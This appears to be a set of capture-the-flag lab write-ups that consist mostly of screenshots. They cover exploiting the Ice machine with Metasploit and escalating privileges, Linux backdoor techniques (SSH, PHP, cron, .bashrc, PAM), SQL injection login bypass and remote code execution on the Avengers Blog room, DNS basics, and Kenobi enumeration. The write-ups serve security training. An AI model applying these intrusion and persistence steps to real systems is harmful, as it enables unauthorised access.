![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDwwBZLWE3KUgaYemu%2F-MdDxWDEthha_HIiYuuZ%2Fimage.png?alt=media\&token=08073a3b-0a45-42b9-8975-5472227d6691)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDwwBZLWE3KUgaYemu%2F-MdDyX204mnP1b1TDXPs%2Fimage.png?alt=media\&token=c220a037-1235-407d-9827-8a80856f0f4b)

## Port Forwarding

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDwwBZLWE3KUgaYemu%2F-MdDybNkSzXU71r2pZj7%2Fimage.png?alt=media\&token=abc3dbb1-0348-45ce-ade2-7934bcad6c55)

## Unit 5: Automating Scripts

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDwwBZLWE3KUgaYemu%2F-MdDyjKGDpjSo_ovQImz%2Fimage.png?alt=media\&token=d378e23a-f52b-4da0-ad6a-9cf605d1b7fa)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDwwBZLWE3KUgaYemu%2F-MdDynK4uVB4TD8cHOip%2Fimage.png?alt=media\&token=41cf3350-dd10-48a8-99ab-31eda72e696e)


# Ice

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDejl-f0bs5fV9Qchw%2F-MdDev4V_TgpZn5n5x-8%2Fimage.png?alt=media\&token=eed03c01-ec6b-40ea-8c2c-e1f5e3677f61)

## Recon

Lets run some nmap scan to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDff6YxNyzkJ9byjAx%2F-MdDg0OUWa-POqHWH_Iv%2Fimage.png?alt=media\&token=9eb343f7-93d2-474b-a182-2640f8a7aca7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDff6YxNyzkJ9byjAx%2F-MdDg3lBateP1SCgWSGb%2Fimage.png?alt=media\&token=1b046122-88e3-4c7a-a15b-44eb65f9b06c)

![Specifying port 8000 as mentioned in the instructions in the room](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDgWSLCKGeMNqumnx2%2F-MdDhcZKo7DwEi2PyQCg%2Fimage.png?alt=media\&token=c2e7666e-7f08-4e04-9f7d-4ca424949360)

The hostname is Dark-PC as we can see in the nmap scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDgWSLCKGeMNqumnx2%2F-MdDglMnkKKoOahdq93C%2Fimage.png?alt=media\&token=506406ee-694d-4e29-abce-bcaab4137ba4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDgWSLCKGeMNqumnx2%2F-MdDhnu_4fR7u5C96EPH%2Fimage.png?alt=media\&token=46233f85-8570-43d1-89d1-1c3fec2f3ad2)

## Gain Access

The type of vulnerability can be found on CVE Details

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDhpnAYjVR54msLpFw%2F-MdDiTehVz4hVLX7PLmV%2Fimage.png?alt=media\&token=4e7a78e3-3604-4c7b-a31f-6ea2479e0d68)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDipC4JkGOboZpf_ST%2Fimage.png?alt=media\&token=6f8f4e2d-a0ef-431a-a970-6515df894042)

We will be using Metasploit to gain access to the machine so lets start Metasploit.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDilhDpcIKRht4TiFE%2Fimage.png?alt=media\&token=319d55ca-54cc-4859-a53c-0e97c7ff6566)

Lets search for the vulnerability and set the right options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDj86e0_dqjWzLBuBh%2Fimage.png?alt=media\&token=765feea4-83bb-46ff-b7b1-751d5ab76d68)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDjGb7D3aU6O7W4qgD%2Fimage.png?alt=media\&token=94363a71-8b97-4047-bba5-1d9670af53d0)

Now lets run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDjLlMclevt5ujHhwC%2Fimage.png?alt=media\&token=98b6e957-8bed-4425-8bfd-f07659956a51)

We have a shell on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDjR17XIIMrapJaxHv%2Fimage.png?alt=media\&token=900e0c46-f2ff-4181-b5e3-127c4aca5090)

## Escalate

To who we are on the machine and information related to the machine, we can use the sysinfo command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDjgsh4aJPT82PRwds%2Fimage.png?alt=media\&token=5d2983b3-72a7-4d00-902d-0c93c34f107e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDk2sKZebLvCwXILFz%2Fimage.png?alt=media\&token=24be4e8f-f335-4f74-83ff-f78602ec139b)

Lets run the module that will give us exploits that we can use to privilege escalate to a higher privilege user on the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDkgx6HYB4lV0W4vkk%2Fimage.png?alt=media\&token=a773be09-8ad0-4d53-bf53-c042a33adad7)

Now lets background this session using the command "**background"** and list the active sessions, then lets select the first exploit we just found and set the session number to the session we just backgrounded using the command "**set sessions 1**" .Now we have to set the right options and run the exploit. Once the command has been run, we can access the machine using the command "**sessions 1**".

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDmhX_H7sN3dUIbPl2%2Fimage.png?alt=media\&token=8beaf300-cd9c-4440-9eae-7b6cfa0bacb7)

Now we are in the machine as a higher privilege user, we can check this by using the command "**getprivs**"

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDnB5CfJqKKOc0CkWw%2Fimage.png?alt=media\&token=858557d9-a5d5-4d5b-909a-73c59747ac17)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDnTDJfsZJIrlN47dX%2Fimage.png?alt=media\&token=f1cc9025-787e-4499-957c-1811789440f7)

## Looting

Lets now follow the steps in the room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDnuwQrAO4mwG371vf%2Fimage.png?alt=media\&token=1090d822-914b-4615-9987-e22da8c888b7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDoD6NH9WpTYl34ZI4%2Fimage.png?alt=media\&token=d869e6ad-73d6-4712-9677-3206acd95d4c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDoGMh9xHkqlJj8Ukz%2Fimage.png?alt=media\&token=3f24254d-1412-4566-b5ba-7bbb3c34f132)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDoTXI4uh0bt0OnFTB%2Fimage.png?alt=media\&token=8ac7b2a8-e053-49fb-ae74-5570b5d98889)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDiV_Q1bU7VTPZv4Uw%2F-MdDo_AP0GITVUv6t7J1%2Fimage.png?alt=media\&token=c26e60d4-6949-43a9-ac38-6ac254ffd911)

## Post-Exploitation

With the help command we can answer the questions in the this task

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDobe2a2uiWj7L51uj%2F-MdDpdTebqthfzQcKXLS%2Fimage.png?alt=media\&token=e9e52fd8-52c6-4d38-ad2a-de8f45d431d0)


# Linux Backdoors

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md53X1r3W8GPl7vrFxs%2Fimage.png?alt=media\&token=27973265-3a82-4951-b819-ae2089474a40)

## SSH Backdoors

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md53yZOE9fzR_Nf0tgl%2Fimage.png?alt=media\&token=eadc775f-fc9d-4105-893f-5adfabcb0720)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md54GmHJgft4LxaMxzk%2Fimage.png?alt=media\&token=a3d0ef67-9a4f-4884-be29-43dc58b5bcdb)

## PHP Backdoors

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md54N7junEDDu_yeOxN%2Fimage.png?alt=media\&token=a150b6e8-a239-48df-82ea-7f92609005f6)

## Cronjob Backdoors

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md54hPRKyjIb-8p53s-%2Fimage.png?alt=media\&token=8e39f984-13bf-4773-a3b1-fc71cfda6aba)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md54umT0kUzeDtFaGPG%2Fimage.png?alt=media\&token=5f5f324c-cd83-48da-879d-fab36b43e868)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md550U9GSKaIuHijUIw%2Fimage.png?alt=media\&token=73cd97b0-2c7f-434b-ab97-6b56b663ccaf)

## .bashrc Backdoors

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md5568LgodVBXKnQdKy%2Fimage.png?alt=media\&token=1756472c-5b56-4a1a-b1a1-08eb96b62a1d)

## pam\_uniz.so Backdoors

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md58kNAwBPM3EmgTcF0%2Fimage.png?alt=media\&token=3de592cc-d46c-4bc5-ad90-9df78d0e498f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md53PfNQRm6jxyWs54_%2F-Md58tqeu7TZKJv_0C6e%2Fimage.png?alt=media\&token=008ba0b4-a41f-446d-9761-6fb53a7e97aa)


# Avengers Blog

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-VoYJ_fvIs89MMZvd%2F-Md-Vrkmma_MpxpporGe%2Fimage.png?alt=media\&token=24ab6a3b-7c80-411a-a53b-6b526a91de06)

## Cookies

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-VoYJ_fvIs89MMZvd%2F-Md-WZDm2C38QA8nNY2H%2Fimage.png?alt=media\&token=2d4a3b44-650f-4dc2-83c2-f4121323d72b)

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-VoYJ_fvIs89MMZvd%2F-Md-WkS_MW9A9PY6bmTr%2Fimage.png?alt=media\&token=54c0e517-c010-4190-992c-0c77c749bb1e)

Lets look at the Cookies (Ctrl + Shift + i) in the Storage tab'

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-VoYJ_fvIs89MMZvd%2F-Md-WwkiAQqP10SmAmYz%2Fimage.png?alt=media\&token=180b294d-48dc-4ebb-8a76-627947990634)

We have the flag

## HTTP Headers

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-VoYJ_fvIs89MMZvd%2F-Md-X2pe-wPaiYbWq9Um%2Fimage.png?alt=media\&token=6df6e655-88eb-4157-a6c9-33c91407e2c6)

Lets go to the Network tab and hit reload and select the option to only look at HTTP requests

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-VoYJ_fvIs89MMZvd%2F-Md-XVzEANJQpl6yyk-T%2Fimage.png?alt=media\&token=54619af0-c182-425f-aec8-c0249216208f)

We have the second flag

## Enumeration and FTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-XmgRbMxn9wMUcU4r%2Fimage.png?alt=media\&token=038149bd-4220-4081-83a4-d08c746566f7)

Lets run a nmap scan to find open ports and then login into FTP with the given credentials.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-Y7aChe0Df7KNHBP4%2Fimage.png?alt=media\&token=ec984e70-392c-4ac9-93ce-debfa6f788f7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-Y9ULczcChahrsGOO%2Fimage.png?alt=media\&token=836de06b-d42d-447c-982a-610a90110cd1)

Lets look at the files on the FTP server,&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-YKiQ4hzigS6wsRbG%2Fimage.png?alt=media\&token=27b70056-b4fd-4cae-bc9c-be2fa37f1568)

We have a directory and the flag in the directory, so transfer the file onto our machine and read the file to get the third flag.

## Gobuster&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-YYcHBDhxEOlCTyUq%2Fimage.png?alt=media\&token=cdf3662f-8294-4d5f-b277-477b245b7663)

Lets run gobuster to find hidden files and directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-Z-BRDwYruQjz-II5%2Fimage.png?alt=media\&token=edcd5735-7db1-4b50-b1ab-466ae53f902c)

The /portal has a login page, so that the answer for this task

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-Z9KSnYAh3s6c2pTG%2Fimage.png?alt=media\&token=9f2c575a-55e2-41a1-a573-3b567a69cab1)

## SQL Injection

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-ZGXx--k3oxWGFIdj%2Fimage.png?alt=media\&token=c12851fe-d4f9-432b-8161-ef07794dacf8)

Lets capture the request using Burp and send it to repeater

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-_Qv6-7DY_LHDnGMy%2Fimage.png?alt=media\&token=9e490c44-3f29-4e89-85e4-e2573a38d980)

Now lets use SQL Injection to login as admin

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-_lP3fi6jyYH_8pW9%2Fimage.png?alt=media\&token=755488ff-3939-4ab0-ab05-cf0f0ee48f66)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-_vM5JQmzsLaE0Ilm%2Fimage.png?alt=media\&token=6d59306f-9ac4-4b93-a36d-b524f06cf073)

Its says found, now lets send it as a real request in the proxy tab.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-XYdswiGU-WIWpOCb%2F-Md-a0EKLMdFcZTmnjSn%2Fimage.png?alt=media\&token=3a737367-b882-427a-926d-0634a33d23e0)

We are logged in. Looking at the source code, there are 223 lines being used, so that is the answer to the question in this task.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-a2doS97XlLieG3SI%2F-Md-aRg9nf9aT1WPLO71%2Fimage.png?alt=media\&token=b970e692-f308-41a6-beaa-7e27ed80e64b)

## Remote Code Execution and Linux

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-a2doS97XlLieG3SI%2F-Md-a_J8nhOSRdqjUbTC%2Fimage.png?alt=media\&token=8fa2964c-a478-44c4-b99a-7a9b60f591f0)

We cannot read the file with the **cat** command, so lets use the **tac** command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-a2doS97XlLieG3SI%2F-Md-b111jn38sRMW6yYB%2Fimage.png?alt=media\&token=48bc95d5-adc3-426d-b846-27202783a80c)


# DNS in Detail

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvMmKkvqlFRDMDcYIf%2F-McvNG3h-44pN8oqU1Cl%2Fimage.png?alt=media\&token=84118774-1c6b-447b-bfce-310c902a6c62)

## What is DNS?

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvMmKkvqlFRDMDcYIf%2F-McvNTFoE_evpHrZrMZo%2Fimage.png?alt=media\&token=71bcd5c9-e8c7-4a8c-b5ab-929b31a5fc81)

## Domain Hierarchy

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvMmKkvqlFRDMDcYIf%2F-McvNujkHXNKWVFSlP0N%2Fimage.png?alt=media\&token=1bd92419-3eb6-4fc4-9a09-94620e849ee2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvMmKkvqlFRDMDcYIf%2F-McvO74WyeiHG88D0xaX%2Fimage.png?alt=media\&token=87a8f693-8d12-4d3c-aaa7-0079f5d1e514)

## Record Types

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvMmKkvqlFRDMDcYIf%2F-McvONoCZBLL7PCxj2Ua%2Fimage.png?alt=media\&token=a329d25a-87e9-4277-9360-3385db726d49)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvOPgX8UlpjD3EQcjm%2F-McvOUMtXvnOUt5cNWfB%2Fimage.png?alt=media\&token=84b5423f-bb66-43de-85a8-16a2057ae90f)

## Making A Request

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvOWVBAeR-GLNo6yhd%2F-McvOwXau7DQi7ZIFWci%2Fimage.png?alt=media\&token=33cb5f3b-7305-4458-85a6-6b702ca66699)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvOWVBAeR-GLNo6yhd%2F-McvP5LjEd2eD4bZX27L%2Fimage.png?alt=media\&token=5ea67c2e-89a2-4e8a-984f-2e94ddf48143)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvOWVBAeR-GLNo6yhd%2F-McvPZ2uP9zZVS1mAwxv%2Fimage.png?alt=media\&token=cf0d42a9-005f-4f2f-ba87-dbb87cedba45)


# Putting it all together

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvKHDh_BSrhvVH6e4e%2Fimage.png?alt=media\&token=c5192a05-9bbe-4270-8737-e6eb5abf7d9e)

## Putting it All Together

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvKTLAR5QjNQydU5XR%2Fimage.png?alt=media\&token=3f406011-2a1a-4870-8a85-39050088d89d)

## Other Components

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvKpPLDo7GsBQUdL4X%2Fimage.png?alt=media\&token=bf6ba77b-df03-41a1-860d-45766aa6ce63)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvKxvCxopsxDR3vmER%2Fimage.png?alt=media\&token=fb34fb91-04e1-476e-b3d7-507f2fe46897)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvL9IoOzwj7qOyLvPr%2Fimage.png?alt=media\&token=79aea21d-199e-412b-857a-89144e47b3ed)

## How Web Servers Work

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvLpP2gJwmKu1zF4DU%2Fimage.png?alt=media\&token=6ca0bd8e-b320-4b14-a9d3-1124f5b07241)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvM1PlduNmnB6N1VMu%2Fimage.png?alt=media\&token=e3f014cc-d798-43b1-a9f1-6c33263cedf6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvMAobHjxwPXi-oEst%2Fimage.png?alt=media\&token=46d4fabb-5b61-4c31-ab07-98ea3e9f916d)

## Quiz

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvMdGUkeUvUovhGQYW%2Fimage.png?alt=media\&token=66fe9822-e257-449b-b4ea-752f6c752fc9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvMgx1GzHyh_MpbKUZ%2Fimage.png?alt=media\&token=00e12f5b-434b-4d26-9d85-d8bba9343f88)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McvGzxaANseBJOQWxKg%2F-McvMjKPegPejz5rKKai%2Fimage.png?alt=media\&token=3544d1b1-bdfb-4678-9f3c-8992277b6eea)


# Kenobi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu4MhOwNDSGo7AJY-y%2F-Mcu4Y57TdtOW8L8O6jT%2Fimage.png?alt=media\&token=4cca2003-ce2f-4451-abaf-89ce265dd3b2)

## Deploy the vulnerable machine

Lets run nmap scans to find open ports and what services are running on them

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu5aSO9n9xbo_HQW3O%2Fimage.png?alt=media\&token=c2fee31f-4a49-4121-a411-f7306e515909)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu5hap3I_WNVuJhelw%2Fimage.png?alt=media\&token=5adf2590-7c4e-4e15-b606-2cf2dfdadf1f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu60IaVTL5UYimDby8%2Fimage.png?alt=media\&token=997eeff9-af3b-4c42-98fc-a297444de203)

## Enumerating Samba for shares

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu6PE4MTyWoHHZKQKm%2Fimage.png?alt=media\&token=a09a7763-badf-477b-89dc-8ab410f11b93)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu6nz7syHQv0rOluie%2Fimage.png?alt=media\&token=b2cf0532-c21c-4bf0-a850-624ef1ee7e8e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu6rghe4Ptzt-DZjUl%2Fimage.png?alt=media\&token=39405102-af05-4627-8d3d-7c0853f7af43)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcu5Z4VEGwh3Lkm5cQT%2F-Mcu777346ENzpCgkmSN%2Fimage.png?alt=media\&token=70431b25-4868-458d-83f4-07cece22e14f)

